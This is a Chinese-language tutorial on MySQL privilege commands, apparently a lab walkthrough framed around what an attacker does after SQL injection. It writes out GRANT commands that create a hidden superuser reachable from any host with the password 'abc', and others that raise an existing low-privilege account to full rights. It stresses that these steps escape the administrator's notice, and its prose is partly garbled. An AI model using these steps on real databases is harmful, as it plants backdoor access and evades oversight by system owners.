(1)DCL语言的数据控制
主要是DBA管理权限的使用,包括如何授权和回收权限。对于注入者来说,注入的目标之一是提高权限,从而扩大我们获取数据的能力和控制范围。此外,我们可以授权具有较高权限的临时账户或现有账户,但权限范围相对较小。我们可以提高它,这既隐藏又实现目标。
我们输入mysql hxf
首先,我们需要从数据库字典中找出哪些用户,哪些用户可以使用
mysql.user是mysql用户字典,select host,user,password from mysql.user;
我们可以看到当前的中,root没有密码,对root没有密码往往是我们忽略的一部分,这也是我们需要注意的。如果密码是空的,我们应该把它放在密码里。如果我们不放密码,我们应该删除它,
授权我们使用的超级管理用户grant,我们使用所有权限all privileges,是所有权限,授权限是针对所有权限的,所以使用on,星代表数据库,*.*
在所有数据库下代表任或其他对象,授权给谁,to一个admin,admin它通常是管理员的账户,目前我们没有admin,使用admin比较隐秘,@目的是从那里登录,输入%,表示可以从任何地方登录,并验证密码identified,by ‘abc所以我们在任何数据库中创建了一个,在任何表对象下,都有所有权admin帐户,它可以从任何地方登录,密码是abc,回车,grant all privileges on *.* to admin@'%' identified by 'abc';
这样就成功了,我们也可以通过数据字典表找到并验证,select host,user,password from mysql.user;
我们看到它已经加入了,所以它成功地创造了一个任意的ip超级权限用户登录
让我们总结一下
授权:grant all privileges on *.* to admin@'%' identified by ‘abc’;
这种情况是授权所有权
验证:mysql -h 192.168.233.128 -uadmin -pabc
从任何地方登录意味着你可以从外网登录。当然,我们是没有外网的测试机,但我们可以验证我们打开用户窗口
在此刷新权限,flush privileges;
刷新后,我们使用它ifconfig看一下
假设inet addr是外网地址,所以我们mysql -h,h是指明登录的IP地址是那个,-u是admin,用户名是什么,-p指登录的密码是什么,abc,那么回车,mysql -h 192.168.248.137 -uadmin -pabc
登录失败,我想可能是我的系统问题,懒得做,我在这里放了几个视频的截图
我们发现它已经登录了,show databases;
我们看到了所有的数据库和表,这表明它有很高的权限
如何创建一个拥有少量权限的用户,有时我们不需要如此高权限的用户
例如,我们只输入一个select、insert水平用户,所以对于一些数据库表,我们只记录数据或查询数据,所以它不能修改和删除,因为我们的数据库操作,这是安全的
grant之后授予select、insert,on解释一下,在哪些数据库表对象中有这样的权限,*.*
给谁所有的数据库,to admin2.我们仍然可以从任何地方登录密码abc,回车,grant select,insert on *.* to admin2@'%' identified by 'abc';
我们刷新权限,目的是在内存中刷新权限表,flush privileges;
好的,那么验证一下,它只是select和insert的权限,然后我们打开一个窗口验证一下,我们连接到hxf数据库,mysql -uadmin2 -pabc hxf
show tables;我们可以看到所有的表
我们也可以查询一下users2,select * from users2;
我们可以看到select,接下来,我们可以做一个insert操作,我们插入一个uid和uname,然后我们插入1和michael,insert into users2(uid,uname) select 1,‘michael’;
当我们看到它被插入时,我们也可以验证它,select * from users2;
这个是michael,但是我们想更新它,update users2 set password=123 where uid=1;
我们看到update由于没有权限,命令被拒绝了。
所以,我们总结一下
授权:grant select,insert on *.* to admin2@'%' identified by 'abc';
如果我们只授权授权,select、insert,给admin只有select、insert其他权限没有权限
验证:mysql -h 192.168.233.128 -uadmin2 -pabc
然后我们可以验证,但我们经常处理这个问题,所以有些应用程序只写日志表,只使用admin2.只有它select、insert但在成功注入我们之后,我们会发现admin它的权限相对较小,所以我们想使用它admin因为我们增加了现有账户,它可能会引起管理员的注意,而现有账户的权利,但更隐蔽
操作:insert,select,update,delete
如果我们注入成功后,我们的提权和授权操作是一致的,我们将拥有所有的权限,all privileges on *.*
授权给admin我们不会修改密码,回车,grant all privileges on *.* to admin2@'%';
刷新权限,flush privileges;
我们在这里验证,update users2 set password=123 where uid=1;
exit,回出去
我们正在重新登录,mysql -uadmin2 -pabc hxf
我们正在更新一次,update users2 set password=123 where uid=1;
如果发现更新成功,说明提权后可以更新。这里可以证明我们提权的操作是成功的。
使用当前登录的管理员账户提高其他用户的权利
备用账户提权:grant all privileges on *.* to admin2@'%';
(提权)
1.DCL语言与授权,注入提权应用